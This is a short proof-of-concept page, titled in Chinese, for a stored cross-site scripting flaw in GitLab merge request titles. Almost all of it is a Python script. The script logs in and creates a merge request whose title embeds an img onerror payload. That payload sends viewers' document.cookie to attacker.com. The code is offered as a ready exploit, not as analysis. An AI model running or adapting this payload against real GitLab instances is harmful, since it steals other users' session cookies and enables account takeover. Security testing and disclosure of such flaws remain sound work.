CVE-2025-12734 GitLab Merge Request标题存储型XSS漏洞

# CVE-2025-12734 GitLab Merge Request Title XSS PoC # This PoC demonstrates the XSS vulnerability in GitLab Merge Request titles import requests import json from urllib.parse import quote # Configuration GITLAB_URL = "https://gitlab.example.com" USERNAME = "attacker_username" PASSWORD = "attacker_password" PROJECT_ID = "your_project_id" # XSS Payload - steals cookies when rendered in dialog XSS_PAYLOAD = '''<img src=x onerror=" fetch('https://attacker.com/steal?c=' + encodeURIComponent(document.cookie)) ">''' def login(): """Authenticate to GitLab and get session token""" session = requests.Session() login_url = f"{GITLAB_URL}/users/sign_in" # Get CSRF token response = session.get(login_url) csrf_token = session.cookies.get('_gitlab_session') # Login request login_data = { 'user[login]': USERNAME, 'user[password]': PASSWORD, 'authenticity_token': csrf_token } response = session.post(login_url, data=login_data) return session if response.status_code == 200 else None def create_malicious_mr(session): """Create Merge Request with XSS payload in title""" mr_url = f"{GITLAB_URL}/api/v4/projects/{PROJECT_ID}/merge_requests" mr_data = { 'title': f"Test MR {XSS_PAYLOAD}", 'source_branch': 'feature-branch', 'target_branch': 'main', 'description': 'Malicious MR for CVE-2025-12734 demonstration' } response = session.post(mr_url, json=mr_data) if response.status_code == 201: print(f"[+] Malicious MR created successfully") print(f"[+] XSS Payload embedded in title: {XSS_PAYLOAD}") print(f"[+] When viewed in dialog, the script will execute") return response.json() else: print(f"[-] Failed to create MR: {response.text}") return None def main(): print("="*60) print("CVE-2025-12734 GitLab Stored XSS PoC") print("="*60) # Step 1: Login to GitLab print("\n[1] Authenticating to GitLab...") session = login() if not session: print("[-] Authentication failed") return print("[+] Authentication successful") # Step 2: Create malicious MR print("\n[2] Creating malicious Merge Request...") result = create_malicious_mr(session) if result: print(f"\n[+] MR IID: {result.get('iid')}") print(f"[+] MR URL: {result.get('web_url')}") print("\n[!] Attack vector: When any user views this MR in a dialog,") print(" the XSS payload will execute in their browser context") if __name__ == "__main__": main()